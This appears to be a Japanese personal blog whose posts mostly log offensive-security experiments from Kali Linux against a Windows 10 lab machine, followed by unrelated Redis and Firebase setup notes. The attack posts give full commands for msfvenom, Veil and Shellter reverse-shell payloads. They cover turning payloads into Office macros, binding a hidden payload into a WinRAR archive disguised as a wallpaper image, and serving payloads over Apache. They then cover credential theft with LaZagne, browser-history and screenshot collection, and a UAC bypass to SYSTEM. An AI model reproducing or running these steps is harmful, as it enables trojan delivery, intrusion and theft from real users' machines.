Excel Word ファイルにペイロードをバインド

Excel Word ファイルにペイロードをバインド

マクロ機能にペイロード実行コードを紛れ込ませることが可能

MS Office のマクロ機能でペイロード実行を支援するツール
MacroShop をインストールする

git clone https://github.com/khr0x40sh/MacroShop.git
cd MacroShop/

で Github から git で入手

使い方は

./macro_safe.py ../Desktop/evil3.bat /root/Desktop/script.txt

というように

./macro_safe.py <input batch> <output text>

というように使う

input batch は
Veil で作成した PowerShell 系ペイロード

output text は
マクロスクリプト

今回は evil3.bat のペイロードから
script.txt というマクロスクリプトを生成

内容を見たいのなら

gedit /root/Desktop/script.txt 

で確認可能

なお、実験は試用版 Windows10 では
Excel がみあたらず
Excel Online ではマクロ作成などができなかったため
動作確認は保留

WinRAR でペイロードと画像ファイルのバインド

WinRAR でペイロードと画像ファイルのバインド

wallpaper で検索し背景画像をダウンロード

今回は
https://pixabay.com/images/search/wallpaper/
からダウンロード

次に画像ファイルをアイコンファイルへ変換

これは
https://www.icoconverter.com/
を利用

変換サイズは
64pixels

ビット深度は
8 bits

対象ファイルは 参照をクリックし
先ほどダウンロードしたファイルを選ぶ

あとは Convert をクリックすると変換されるので
Save File で保存

次にWindows10で WInRAR をインストールする

ここまでできたら KaliLinux でペイロードの作成

msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.1.134 -f exe -e x86/shikata_ga_nai -i 3 -b '\x00\xff' -o /root/Desktop/evil4.exe

msfvenom コマンドのオプションで
a はアーキテクチャで
-a x86 なら 32bit アーキテクチャ
e はエンコーダの種類
i はエンコーダ回数で
-i 3 なら3回
b は避ける文字

これでペイロードを作成したら

cp /root/Desktop/evil4.exe /var/www/html/share/
cp Downloads/wallpaper.* /var/www/html/share/
service apache2 restart

でペイロードとダウンロードしたico ファイルと画像ファイルをコピー
ダウンロードできるように apache2 の再起動

なお Windows10 で evil4.exe をダウンロードするとき
リアルタイム保護が有効だと削除される

次に
wallpaper.ico
wallpaper.jpeg
の2つを選択した状態で右クリック >
Add to archive… を選び

Archive name を
amazing_wallpaper.rar
として
Create SFX archive
にチェックをいれる
これで exe ファイルになる

Advanced タブをクリック
SFX Options をクリック

Setup タブをクリック
Run after extraction
のとこへ
evil4.exe
wallpaper.jpg
を追記

Modes タブをクリック
silient mode で hide all をクリック

Text and icon タブをクリック
browse… をクリックし
ファイル形式を All files にすると表示される
wallpaper.ico をクリック

Update タブをクリック
update mode を
Extract and update files

Overwrite mode を
Overwrite all files

これでOKをクリック

これで
amazing_wallpaper.exe ができる

これを名前の変更で
amazing_wallpaper.jpg とすると
Windows10 では拡張子が表示されないため
画像ファイルとして扱われる

ここまでできたら KaliLInux でリバースシェルの用意

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.134
exploit 

これで
amazing_wallpaper.jpg
をクリックすると
画像が表示され
KaliLinux ではmeterpreter セッションが確立する

ペイロードに別ファイルの結合

ペイロードに別ファイルの結合

ターゲットにペイロードを実行させても
別の画面がでてきたり
何も実行されないと不審に思われるので
ペイロードに別ファイルを結合し2つのプログラムを実行させることで
偽装させるという手法がある

これが bind
使われる手法としては
画像ファイルにペイロードが結合されていたて
画像を表示したらペイロードが実行されるというもの

あとは
トロイの木馬にゲームと結合させてゲームが起動してプレイできるが
裏ではトロイの木馬の感染処理が進むというもの

今回は KaliLinux と WIndows10 で実験

まず
WinRaR のインストーラーを取得

https://www.win-rar.com/download.html?&L=0
から32bit のものをダウンロード

cp Downloads/wrar580.exe /root/Desktop/

でファイルをデスクトップへコピーしておく

次に
Shellter のインストール

apt install shellter

次に shellter の初期設定

shellter

で起動

ここからは対話形式で設定

Choose Operation Mode - Auto/Manual (A/M/H):

となるので自動にしたいので
A

PE Target: 

で対象ファイルを選ぶので

/root/Desktop/wrar580.exe
を指定

Enable Stealth Mode? (Y/N/H):

でステルスを有効化するので Y

Use a listed payload or custom? (L/C/H):

となるので
リストから選ぶので L を選択

これでリストがでてくる
今回使うのは revrse_tpc なので

Select payload by index: 

では1を入力

次に

SET LHOST: 

となるので KaliLinux のIPを入力

次に使うポートの指定

SET LPORT: 

となるので4444を入力

最後に

Press [Enter] to continue...

となったら Enter

これで作成できたので

cp Desktop/wrar580.exe /var/www/html/share/
service apache2 restart

でペイロードがダウンロードできるようにしておく

次にウイルス検知にどれくらい引っかかるかチェック

https://www.virustotal.com/ja/
へアクセスし
Choose file をクリック

wrrar580.exeを選び調査
これで70の検知システムのうち27引っかかっているということがわかる

これでファイルは作成できたので
KaliLinux でリバースシェルの待受

msfconsole

でMetasploit を起動

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.134
set lport 4444
exploit 

で待受開始

あとは windows10 でリアルタイム保護を無効化した状態で
ブラウザで
wrrar580.exe をダウンロードし実行

これでMeterpreter セッションが確立される

Veil Framework

Veil Framework

Meterpreter セッションの確立には
ターゲット端末で実行ファイルを実行させ
アンチウイルスの検知の回避が必要

Veil Framework は
アンチウイルス回避ペイロードを生成するツール

KaliLinux にインストールするには

apt install veil-evasion 
veil

で起動すると
セットアップスクリプトが実行され

 [?] Are you sure you wish to install Veil?

     Continue with installation? ([y]es/[s]ilent/[N]o): 

となり
インストールモードを選ぶので
s を入力し Enter

インストールが終わって
veil >
と表示されたら

exit

で一度終了しておく

再度

veil

で起動し
Veil を最新化するために

update

でVeil を最新化する

現在使えるツールは
Evasion
Ordnance
の2つ

アンチウイルスを回避するツールを使うなら
Evasion なので

use 1

ペイロードリストをみたいのなら

list

を実行するとみれる

今回はこの中から22のものを使うので

use 22

を実行

どのようなツールかは
Description の項目にかかれている

これはリバースシェルなので
KaliLinux のIPをセット

set lhost 192.168.1.134

次にペイロードの作成

generate

を実行

するとファイル名を指定できるので
evil3
としておく

Hit enter to continue...

となったら Enter

これで作成はできたので

exit

で一度終了

ここで作成できたファイルは
一度デスクトップへコピーしておく

cp /var/lib/veil/output/source/evil3.bat /root/Desktop/
cp /root/Desktop/evil3.bat /var/www/html/share/
service apache2 restart

でダウンロードできるようにしておく

次にリバースシェルの待受設定

msfconsole 

で Metasploit を起動

これで Windows10 でブラウザから
evil3 をダウンロードし
実行すると
コマンドプロンプトが立ち上がり
セッションが確立される

ただしリアルタイム保護が有効化されていると
ダウンロードもできないし
実行時に検知されセッションは確立できない

windows 10 のパスワード探しとブラウザ履歴

windows 10 のパスワード探しとブラウザ履歴

LaZagne を使うため
KaliLinux で

https://github.com/AlessandroZ/LaZagne/releases
からダウンロード

wget https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe

でもダウンロードできる

次に

service apache2 restart 

で apache2を再起動

msfconsole 

で msfconsole を立ち上げ

use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.134
exploit -j -z

で待受にする

次に windows10 で evil2.exe を実行

これでセッションが繋がる

sessions -i 1

次に

upload lazagne.exe

で windows10 へファイルをアップロード

shell

で windows10 のシェルになり

lazagne.exe all

を実行
ただしユーザ権限だとパスワードは発見できなかった

次にブラウザ履歴を調べる

use post/windows/gather/forensics/browser_history 

でセッションをセット

run

で実行

実行すると
.msf4/local/
以下にふぁいるが作成される

今回は
snowpool_ChromeHistory_Default_History.
となった

なお対応しているのは
Firefox
Chrome
Skype
となっているため
Edge の履歴を得ることはできなかった

デフォルトでは chrome がインストールされていないので
インストールしてから実行

 file .msf4/local/snowpool_ChromeHistory_Default_History. 

でファイルを確認すると

.msf4/local/snowpool_ChromeHistory_Default_History.: SQLite 3.x database, last written using SQLite version 3030001

となり
SQLファイルであることがわかる

なお、隠しファイルになっているので

cp .msf4/local/snowpool_ChromeHistory_Default_History. .

としておくとファイルを見つけやすくなる

これの中身をみるには
show application をクリック

sqlte database  で検索し
DB Browser for  をクリック

Open Database をクリックし
ファイルの種類を All files にして対象ファイルを開く

urls を右クリック > Browse Table

これで閲覧した履歴のURLをみることができる

次にMRUの取得

sessions -i 1

でセッションを確立し

reg enumkey -k HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\

MRUは
Most Reccently Used で最近使ったリストのこと

これはターゲットの最近の行動を知るのに使う

今回の実行結果は

  Keys (36):

	Accent
	Advanced
	AutoplayHandlers
	BamThrottling
	BannerStore
	BitBucket
	CabinetState
	CD Burning
	CLSID
	Desktop
	Discardable
	FileExts
	HideDesktopIcons
	LogonStats
	LowRegistry
	MenuOrder
	Modules
	MountPoints2
	Package Installation
	RecentDocs
	RestartCommands
	Ribbon
	SearchPlatform
	Shell Folders
	Shutdown
	StartPage
	StartupApproved
	Streams
	StuckRects3
	Taskband
	User Shell Folders
	UserAssist
	VirtualDesktops
	VisualEffects
	Wallpapers
	SessionInfo

  Values (12):

	ExplorerStartupTraceRecorded
	ShellState
	UserSignedIn
	SlowContextMenuEntries
	SIDUpdatedOnLibraries
	LocalKnownFoldersMigrated
	TelemetrySalt
	GlobalAssocChangedCounter
	FirstRunTelemetryComplete
	EdgeDesktopShortcutCreated
	AppReadinessLogonComplete
	PostAppInstallTasksCompleted

となった

Windows10 を Metasploit で攻撃

Windows10 を Metasploit で攻撃

まずリバースシェルのペイロードを作成

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.134 -f exe -o /root/Desktop/evil2.exe

でリバースシェルのペイロードを作成
なお、今回はターゲットは64bit を考慮して作成している

次にペイロードを外部アクセスできるディレクトリへ移動

cp /root/Desktop/evil2.exe /var/www/html/share/

これで apache2 を起動

service apache2 restart 

次に windows10 の仮想マシンを起動し
ブラウザで
http://KaliLinuxのIPアドレス/share/
へアクセスし
evil2.exe をクリックし保存をクリックしても
Windows Defender により削除されてしまう

このためスタートメニューで設定をクリック

更新とセキュリティをクリック

Windows セキュリティをクリックし
Windows セキュリティを開くをクリック

ウィルスと脅威の防止をクリック

ウィルスと脅威の防止の設定の
設定の管理をクリック

リアルタイム保護オンをクリック

デバイスの変更の許可を聞かれるので
はいをクリック

これでリアルタイム保護が無効化されるが
一定時間がすぎると自動で有効化に戻る

この状態で再度

ブラウザで
http://KaliLinuxのIPアドレス/share/
へアクセスし
evil2.exe をクリックし保存をクリック
これで保存ができる

ここまでできたら KaliLinux でリバースシェルの待受

msfconsole 

で msf コンソールを起動

まずハンドラーモジュールを使うので

use exploit/multi/handler 

次にペイロードをセット

set payload windows/x64/meterpreter/reverse_tcp

次にIPアドレスの設定

set LHOST 192.168.1.134

次 exploit の実行をするけど
今回は
j オプションにより ジョブとしてモジュールを起動
z オプションによりセッションをバックグラウンドにするように設定

exploit -j -z

この状態で Windows10 で evil2.exe を実行

すると

Sending stage (206403 bytes) to 192.168.1.165
[*] Meterpreter session 1 opened (192.168.1.134:4444 -> 192.168.1.165:49830) at 2019-12-31 04:22:04 +0900

となりセッションが確率されたのがわかる

確認のため
Enter でメッセージから msf コンソールにして

sessions -i

とすると現在確立されているセッションを表示できる

ここまでできたら
windows10 で
ダウンロードフォルダへ
新規作成 > テキストドキュメント

password
を作成

なお、windows ではテキストドキュメントでは
.txt が自動でつく

次に KaliLinux でセッション1を指定

sessions -i 1

セッションが確立されている状態で

ls

を実行すると一覧がみれる

なお、windows10 で evils2.exe を実行するときに
ブラウザから起動したものか、もしくは
ダウンロードしてから実行しているかによりファイルパスが変わるので注意

ブラウザから実行していると
C:\Users\snowpool\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads
となり
ダウンロードしてから実行だと
C:\Users\snowpool\Downloads
となる

なお windows10 のファイルを
KaliLinux にダウンロードすることも可能
これは
download コマンドを使う

今回 passwords.txt をダウンロードするなら

download passwords.txt

これでホームディレクトリにダウンロードされる

また現在開いている windows 画面のスクリーンショットもとれる
これは
screenshot コマンドを使う

screenshot 

撮影した画像は
ホームディレクトリに保存される

なおコマンドから表示することもできるが feh が必要

apt install feh -y

でインストールしておき

撮影したスクショのファイル名がgnnIADFL.jpegなら

feh gnnIADFL.jpeg 

とすれば表示することができる

なお -g オプションを使うことで画像の大きさを指定できるが
縮小されて表示されるわけではない

それよりも
Raspberry Pi 3で17.3インチのデジタルフォトフレームを作った!

にあるように
-F オプションでフルスクリーン表示にしたほうが見やすい

なお、画面がそれでいっぱいになるので
alt + tab で端末に移動して
ctrl +c で動作停止すると画像が消える

次にSYSTEM権限の取得

getsystem 

としてもUAC機能を回避していないため失敗となる

このためUAC機能を回避するモジュールを探す

 background 

で一度バックグラウンドにしておき

search bypassuac

で検索

ここから探すときには
Rank excellent
日付が新しいもの
を使うようにする

今回は
bypassuac_sluihijack
を使用

use exploit/windows/local/bypassuac_sluihijack

で使用するペイロードをセット

設定のため

show targets 

を実行すると

   Id  Name
   --  ----
   0   Windows x86
   1   Windows x64

となるので

set TARGET 1

で 64bit としてセット

set session 1

でセッションを設定

再度ペイロードをセット

set payload windows/x64/meterpreter/reverse_https
set LHOST 192.168.1.134

でKaliLinux のIPをセット

show options 

で設定を確認したら

exploit 

で実行

なお時間がかかりすぎると
windows のリアルタイム監視が復旧し
自動的にセッションが閉じられるので注意

これで

getsystem 

を実行し

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

となれば権限奪取成功

なお、バックドアの作成などについては
リアルタイム保護で削除される可能性があるので
今回は行っていない

Ubuntu 16.04 Redis インストール

Ubuntu 16.04 Redis インストール

Redis を Ubuntu 16.04 LTS にインストールする手順

を参考にインストール

sudo apt show redis-server

を実行した結果

Version: 2:3.0.6-1ubuntu0.4
となり
Ubuntu 16.04 の公式リポジトリでは
2019年12月時点でも更新はなさそう

sudo add-apt-repository ppa:chris-lea/redis-server
sudo apt update

でリポジトリ追加と更新

再度

sudo apt show redis-server

を実行した結果
Version: 5:5.0.7-1chl1~xenial1
となったので
インストール

sudo apt install redis-server

インストールできたら

redis-cli --version

redis-server --version

でそれぞれのバージョンが表示できるかを確認

Redis の起動は

redis-server

クライアントの起動は

redis-cli 

をサーバ起動後に実行

クライアント終了は

 exit

クライアントから redis を停止するには

shutdown 

を使う
このときにデータが保存される

Windows10 仮想マシン設定

Windows10 仮想マシン設定

まず Guest Additions のインストール

デバイス >
Guest Addition CD イメージの挿入

自動で起動しない場合
エクスプローラーを開き
CD ドライブ VirtualBox Guest Addition
をクリック

VBoxWindowsAdditions をクリック

はい をクリック

Next をクリック

Nextをクリック

install をクリック

インストール をクリック

Finish をクリックすると再起動になり設定が反映される

次に Windows Update の停止がされているか確認
これは実験をするときセキュリティホールが埋まっていると実践できないため

スタートボタン > 設定で

更新とセキュリティをクリック

Windows Update をクリック

詳細オプションをクリック

これで更新などがオフになっていることを確認

次にPing を返すように設定
スタートメニューから
Windows システムツール > コントロールパネル

システムとセキュリティ

Windows Defender ファイアウォール

詳細設定

受信の規則

ファイルとプリンターの共有(エコー要求 ICJMPv4受信)
を2つ選び
右クリックして
規則の有効化をクリック

変更ができたら仮想マシンの設定を変えるため
一度シャットダウン

次に仮想マシンの設定を変更

一般の高度タブをクリックし
クリップボードの共有
ドラッグ&ドロップ
を無効から双方向へ変更

システムのマザーボードタブで
チップセットをPIIX3 から
ICH9 へ変更

次にプロセッサータブをクリックし
使用するCPUの数を緑色のバーの限界まで変更

次にディスプレイで
3Dアクセラレーションを有効化
2Dビデオアクセラレーションを有効化にチェックをいれる

ネットワークで
割り当てを
NATからブリッジアダプターへ変更

これらができたらOKをクリック

Firebase でサイト公開

Firebase でサイト公開

Firebase プロジェクトの設定ができると
firebase.json
というファイルが作成される

これは
firebase init で作成された設定用ファイルになる

また public フォルダ内に
404.html が作成される

これらを確認したら
次にサイトを公開するので
プロジェクトフォルダに移動し

firebase deploy

を実行するとアップロードされ
Hosting URL が発行される

あとはこのURLをブラウザで表示すればページが表示される

また、変更をして更新をするときには
再度

firebase deploy

を実行すれば更新できる

サイトの更新履歴については
Firebase にログインして
Hosting をクリックすれば更新履歴を確認できる

また、バージョン管理もされているので
ロールバック機能を使うことで過去の状態に戻すことも可能

firebase プロジェクトの設定

firebase プロジェクトの設定

公開するフォルダを
firebase 用に初期化する

まず public のあるディレクトリに移動

cd MyPortfolioProject

次に

firebase list

を実行

これで現在 firebase にあるプロジェクト一覧が表示される

必要になるのは
Project ID / Instance の値

今回は
myportfolioproject-5e36a
を使う

次に初期化

firebase  init --project=myportfolioproject-5e36a

実行するとどのサービスを使うかい聞かれるので

◯ Hosting: Configure and deploy Firebase Hosting sites

までカーソルを十字キーで移動して
スペースで決定してから
Enter

いくつか変更があったので
create-react-appで作ったアプリをFirebaseで公開する方法

を参考に実践

ここから少し変わっている

? Please select an option: 
❯ Use an existing project 
  Create a new project 
  Add Firebase to an existing Google Cloud Platform project 
  Don't set up a default project 

とでてくる

今回はすでに作成したプロジェクトを使うので
そのままEnter

What do you want to use as your public directory? (public) 

となり
どのフォルダを公開用にするかと聞かれるので
これも デフォルトの public でよいので
そのまま Enter

次に

Configure as a single-page app (rewrite all urls to /index.html)? (y/N)

と聞かれSPAとして設定するかきかれるけど
今回は No にしたいので
そのままEnter でOK

SPAは Single Page Application の意味

次に

File public/index.html already exists. Overwrite? (y/N) 

となり
public の中にある index.html を上書きするか聞かれる
No なので Enter でOK

これで
Firebase initialization complete!
と表示されれば初期化はOK